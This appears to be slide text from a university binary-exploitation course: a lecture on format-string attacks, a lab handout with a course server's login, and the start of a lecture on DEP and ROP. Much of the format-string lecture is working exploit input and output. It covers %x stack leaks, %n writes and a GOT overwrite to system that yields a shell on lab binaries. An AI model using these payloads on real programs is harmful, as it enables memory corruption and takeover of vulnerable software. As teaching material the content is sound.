main(int argc, char *argv[])
{
  char buf[100];
  fgets(buf, 100, stdin);
  printf(buf);
  return EXIT_SUCCESS;
}
```

Mistakes

- User controlled format string

```c
#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char *argv[])
{
  char buf[100];
  fgets(buf, 100, stdin);
  printf(buf);
  return EXIT_SUCCESS;
}
```

What could possibly go wrong?

Exercise 1

- What can you do?
- fmt_lec01
  - Try different forms of input
    - format strings?
  - man 3 printf

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Mistakes

- Reading data
  - x, d, s, etc
- Writing data
  - n

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h
loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Reading data

```
[Slate][MBE]$ python -c 'print("AAAA"+"%08x."*10)' | ./a.out
AAAA00000064.f76fa600.f75d96b5.41414141.78383025.3830252e.30252e7
8.252e7838.2e783830.78383025.
```

Reading data

- printf("%x%x%x...")
  - Only gets you so far
  - Have to go through buffer since it's on the stack
  - Limited input size

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Direct Parameter Access

- Syntax
  - printf("%<arg#>$<format>")
- Examples
  - printf("%3$d", 1, 2, 3)
    - '3'
  - printf("%3$d %2$d %1$d", 1, 2, 3)
    - '3 2 1'

Direct Parameter Access

```
[Slate][MBE]$ for i in {10..100}; do echo "%$i"'$s' | ./a.out arg1 arg2;done

__libc_start_main
```

```
./a.out
arg1
arg2
(null)
GREP_COLOR=1;32
XDG_VTNR=2
XDG_SESSION_ID=c1
SHELL=/bin/zsh
ZSH=/home/branden/.oh-my-zsh
USER=branden
PAGER=less
MOZ_PLUGIN_PATH=/usr/lib/mozilla/plugins
LSCOLORS=Gxfxcxdxbxegedabagacad
PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/b
/bin
```

Writing data

- Our buddy %n
  - Takes a pointer as an argument
  - Writes the number of bytes written so far

Writing data

- Our buddy %n
  - Takes a pointer as an argument
  - Writes the number of bytes written so far

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Writing data

- Throw some %x down

```
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*5+"%x%x")' | ./a.out
AAAA64.f76f2600.f75d16b5.41414141.252e7825.78252e782e78252e
```

Writing data

- Take some off so ‘AAAA’ is at top of stack (TOS)

```
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*5+"%x%x")' | ./a.out
AAAA64.f76f2600.f75d16b5.41414141.252e7825.78252e782e78252e
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*2+"%x%x")' | ./a.out
AAAA64.f779d600.f767c6b541414141
```

Writing data

- Switch last %x to %n

```
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*5+"%x%x")' | ./a.out
AAAA64.f76f2600.f75d16b5.41414141.252e7825.78252e782e78252e
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*2+"%x%x")' | ./a.out
AAAA64.f779d600.f767c6b541414141
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*2+"%x%n")' | ./a.out
[1]    10107 done                          python -c 'print("AAAA"+"%x."*2+
"%x%n")' |
       10108 segmentation fault (core dumped)  ./a.out
[Slate][MBE]$
```

Writing data

```
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*5+"%x%x")' | ./a.out
AAAA64.f76f2600.f75d16b5.41414141.252e7825.78252e782e78252e
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*2+"%x%x")' | ./a.out
AAAA64.f779d600.f767c6b541414141
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*2+"%x%n")' | ./a.out
[1]    10107 done                          python -c 'print("AAAA"+"%x."*2+
"%x%n")' |
       10108 segmentation fault (core dumped)  ./a.out
[Slate][MBE]$
```

0x41414141 isn’t a valid address

Writing data

```
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*5+"%x%x")' | ./a.out
AAAA64.f76f2600.f75d16b5.41414141.252e7825.78252e782e78252e
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*2+"%x%x")' | ./a.out
AAAA64.f779d600.f767c6b541414141
[Slate][MBE]$ python -c 'print("AAAA"+"%x."*2+"%x%n")' | ./a.out
[1]    10107 done                          python -c 'print("AAAA"+"%x."*2+
"%x%n")' |
       10108 segmentation fault (core dumped)  ./a.out
[Slate][MBE]$
```

0x41414141 isn't a valid address

But valid ones are easy to find!

Exercise 2

- Try to change ‘unchangeable’
  - fmt_lec02

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Controlled writes

- My shellcode is at 0xdeadbeef, the buffer isn't that big!
- How do I count that many characters?!
  - "%XXXx" Specify width, characters count!
  - e.g. "%8x" prints 8 characters
    - "%08x" pads with '0' instead of '<space>'

Controlled writes

- Formula: WANTED - CURRENT + 8

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xff"+"%08x."*4+"%08x%n")' | ./re
lease/format_strings/fmt_lec02
ÌÕÿÿ00000064.f7fad600.f7e8c6b5.ffffd59f.ffffd59e
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0x30
```

Controlled writes

- Formula: WANTED - CURRENT + 8

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xff"+"%08x."*4+"%08x%n")' | ./re
lease/format_strings/fmt_lec02
????00000064.f7fad600.f7e8c6b5.ffffd59f.ffffd59e
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0x30
```

0xef - 0x30 + 8 = 199

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xff"+"%08x."*4+"%199x%n")' | ./r
elease/format_strings/fmt_lec02
????00000064.f7fad600.f7e8c6b5.ffffd59f.
                                                                                fff

fd59e
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0xef
```

Controlled writes

- Formula: WANTED - CURRENT + 8

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xff"+"%08x."*4+"%08x%n")' | ./re
lease/format_strings/fmt_lec02
????00000064.f7fad600.f7e8c6b5.ffffd59f.ffffd59e
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0x30
```

0xef - 0x30 + 8 = 199

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xff"+"%08x."*4+"%199x%n")' | ./r
elease/format_strings/fmt_lec02
????00000064.f7fad600.f7e8c6b5.ffffd59f.

fd59e
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0xef
```

Controlled writes

- Writing multiple bytes

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xffJUNK\xcd\xd5\xff\xff"+"%08x."*4+"%08x%n%08x%x")' | ./release/fo
rmat_strings/fmt_lec02
ÌÕÿÿJUNKÍÕÿÿ00000064.f7fad600.f7e8c6b5.ffffd59f.ffffd59e4b4e554affffd5cd
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0x38
```

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
```

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Controlled writes

- Writing multiple bytes

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xffJUNK\xce\xd5\xff\xff"+"%08x."
*4+"%08x%n%08x%x")' | ./release/format_strings/fmt_lec02
????JUNK????00000064.f7fad600.f7e8c6b5.ffffd59f.ffffd59e4b4e554affffd5ce
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0x38
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xffJUNK\xcd\xd5\xff\xff"+"%08x."
*4+"%191x%n%08x%n")' | ./release/format_strings/fmt_lec02
????JUNK????00000064.f7fad600.f7e8c6b5.ffffd59f.

fd59e4b4e554a
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0xf7ef
```

0xbe - 0xf7 + 8 = -41

wait, negative?

Controlled writes

- Add a ‘1’ and it will wrap around

0x1be - 0xf7 + 8 = 207

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xffJUNK\xcd\xd5\xff\xff"+"%08x."
*4+"%191x%n%207x%n")' | ./release/format_strings/fmt_lec02
????JUNK????00000064.f7fad600.f7e8c6b5.ffffd59f.

                                                                    fff
fd59e

                                                4b4e554a

unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0x1beef
```

Controlled writes

- Add a ‘1’ and it will wrap around

  0x1be - 0xf7 + 8 = 207

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xffJUNK\xcd\xd5\xff\xff"+"%08x."
*4+"%191x%n%207x%n")' | ./release/format_strings/fmt_lec02
????JUNK????00000064.f7fad600.f7e8c6b5.ffffd59f.
                                                                    fff
fd59e
                                                  4b4e554a

unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0x1beef
```

Note that %n writes 4 bytes. You *will* be clobbering extra bytes.

Controlled short writes

- swap %n with %hn
  - writes 2 bytes at a time

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xff"+"%08x."*4+"%48839x%hn")' |
./release/format strings/fmt lec02

                                                    ffffd59e
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0xcafebeef
```

Controlled short writes

- swap %n with %hn
  - writes 2 bytes at a time

```
[Slate][MBE]$ python2 -c 'print("\xcc\xd5\xff\xff"+"%08x."*4+"%48839x%hn")' |
./release/format strings/fmt lec02

                                                    ffffd59e
unchangeable @ 0xffffd5cc
HACKER!
unchangeable changed to 0xcafebeef
```

Prevents clobbering

Exercise 3

- Try to get access!
  - fmt_lec03

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Gaining control

- Things to look for
  - Return address
  - Function pointers
  - Global Offset Table (GOT)
  - Destructor List (DTOR)

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Gaining control

- Things to look for
  - Return address
  - Function pointers
  - Global Offset Table (GOT)
  - Destructor List (DTOR)

← Stack based

← Binary based

Global offset table

- What is it?
  - List of pointers to dynamically linked symbols
    - printf, exit, system, etc.

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    ebx
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Global offset table

```c
#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char *argv[])
{
  char buf[100];

  fgets(buf, 100, stdin);
  printf(buf);
  fgets(buf, 100, stdin);
  printf(buf);

  return EXIT_SUCCESS;
}
```

Global offset table

```
lecture@warzone:format_strings$ readelf --relocs ./fmt_lec04

Relocation section '.rel.dyn' at offset 0x48c contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080498f0  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
08049918  00000e05 R_386_COPY        08049918   stdin

Relocation section '.rel.plt' at offset 0x49c contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049900  00000207 R_386_JUMP_SLOT   00000000   printf
08049904  00000307 R_386_JUMP_SLOT   00000000   fgets
08049908  00000407 R_386_JUMP_SLOT   00000000   __gmon_start__
0804990c  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main
```

Global offset table

```
lecture@warzone:format_strings$ readelf --relocs ./fmt_lec04

Relocation section '.rel.dyn' at offset 0x48c contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080498f0  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
08049918  00000e05 R_386_COPY        08049918   stdin

Relocation section '.rel.plt' at offset 0x49c contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049900  00000207 R_386_JUMP_SLOT   00000000   printf
08049904  00000307 R_386_JUMP_SLOT   00000000   fgets
08049908  00000407 R_386_JUMP_SLOT   00000000   __gmon_start__
0804990c  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main
```

Offset
08049900

Ew, NULL. No matter!

Global offset table

- Let's change where printf() goes

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e64190 <__libc_system>
```

Write 0xb7e64190 at 0x08049900

(system) GOT(printf)

Global offset table

```
[Slate][MBE]$ (python -c "print '\xff\x98\x04\x08JUNK\x01\x99\x04\x08JUNK\x02
\x99\x04\x08'+'%08x.'*5+'%36989x%n%131x%hhn%9893x%hn'";cat) | ./fmt_lec04
```

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Global offset table

```
[Slate][MBE]$ (python -c "print '\xff\x98\x04\x08JUNK\x01\x99\x04\x08JUNK\x02
\x99\x04\x08'+'%08x.'*5+'%36989x%n%131x%hhn%9893x%hn'";cat) | ./fmt_lec04
```

```
JUNKJUNK00000064.b7fcfc20.00000000.bffff684.bffff5f8.
sh
whoami
privileged
```

Success!

Global offset table

```
[Slate][MBE]$ (python -c "print '\xff\x98\x04\x08JUNK\x01\x99\x04\x08JUNK\x02
\x99\x04\x08'+'%08x.'*5+'%36989x%n%131x%hhn%9893x%hn'";cat) | ./fmt_lec04
```

```
JUNKJUNK00000064.b7fcfc20.00000000.bffff684.bffff5f8.
sh
whoami
privileged
```

Success!

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
```

RELRO needs to not be FULL

DTOR List

- List of destructors to call
  - OLD: nm -g ./a.out
    - DEADBEEF: __DTOR_END__
    - DEADBEEB: __DTOR_LIST__

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

DTOR List

- List of destructors to call
  - OLD: nm -g ./a.out
    - DEADBEEF: __DTOR_END__
    - DEADBEEB: __DTOR_LIST__
  - NEW: objdump -h -j .fini_array ./a.out

```
release/format_strings/fmt_lec01:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
 18 .fini_array   00000004  080497e0  080497e0  000007e0  2**2
                  CONTENTS, ALLOC, LOAD, DATA
```

DTOR List

- List of destructors to call
  - OLD: nm -g ./a.out
    - DEADBEEF: __DTOR_END__
    - DEADBEEB: __DTOR_LIST__
  - NEW: objdump -h -j .fini_array ./a.out

write here

VMA
080497e0

write here

DTOR List

- .fini_array overwrite

```
(gdb) r <<< `python -c "print '\xe0\x97\x04\x08'+'%08x'*5+'%08x%n'"`
Starting program: /levels/lecture/format_strings/fmt_lec01 <<< `pyth
x08'+'%08x'*5+'%08x%n'"`
00000064b7fcfc2000000000bffff6c4bffff638bffff630

Program received signal SIGSEGV, Segmentation fault.
0x00000034 in ?? ()
```

Success!

DTOR List

- .fini_array overwrite

```
(gdb) r <<< `python -c "print '\xe0\x97\x04\x08'+'%08x'*5+'%08x%n'"`
Starting program: /levels/lecture/format_strings/fmt_lec01 <<< `pyth
x08'+'%08x'*5+'%08x%n'"`
00000064b7fcfc2000000000bffff6c4bffff638bffff630

Program received signal SIGSEGV, Segmentation fault.
0x00000034 in ?? ()
```

Success!

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled
```

RELRO needs to be disabled

Additional reading

- http://packetstorm.igor.onlinedirect.bg/papers/attack/formatstring-tutorial.pdf
- *Hacking: The Art of Exploitation* page 167

Lab 3

- 3 problems on Warzone
- [MBE_Syllabus]

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Format Strings Lab

Modern Binary Exploitation
CSCI 4968 - Spring 2015

Lab 4

- SSH: warzone.rpis.ec 22
- Username: lab4C
- Password: lab4start
- DUE: TUESDAY 1:59pm March 10th
  - Final exploit and descriptions sent to mbespring2015+lab4@gmail.com

Lab 4C Hints

- %x.%x.%x.%x.%x…..
- Be mindful of endianness!
- password is 29 chars
- We don't expect you to use memory corruption or GOT/PLT Overwrites for 4C

DEP & ROP

Modern Binary Exploitation
CSCI 4968 - Spring 2015
Markus Gaasedelen

Lecture Overview

1. Introducing DEP
2. The History of DEP
3. Bypassing DEP with ROP
4. Stack Pivoting

Class up until Now

- Reverse Engineering
- Basic memory corruption
- Shellcoding
- Format strings
- Classical exploitation, few protections, pretty eZ
- Time to add some 'modern' to the binary exploitation madness

Modern Exploit Mitigations

- Theres a number of modern exploit mitigations that we've generally been turning off for the labs and exercises
  - DEP
  - ASLR
  - Stack Canaries
  - … ?

Modern Exploit Mitigations

- Theres a number of modern exploit mitigations that we've generally been turning off for the labs and exercises
  - DEP
  - ASLR
  - Stack Canaries
  - … ?
- Today we turn one back on for the remainder of the course
  - no more silly -z execstack in our gcc commands

```
lecture@warzone:/levels/lecture/rop$
lecture@warzone:/levels/lecture/rop$
lecture@warzone:/levels/lecture/rop$ checksec --file ./rop_exit
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./rop_exit
lecture@warzone:/levels/lecture/rop$
```

Course Terminology

- Data Execution Prevention
  - An exploit mitigation technique used to ensure that only code segments are ever marked as executable
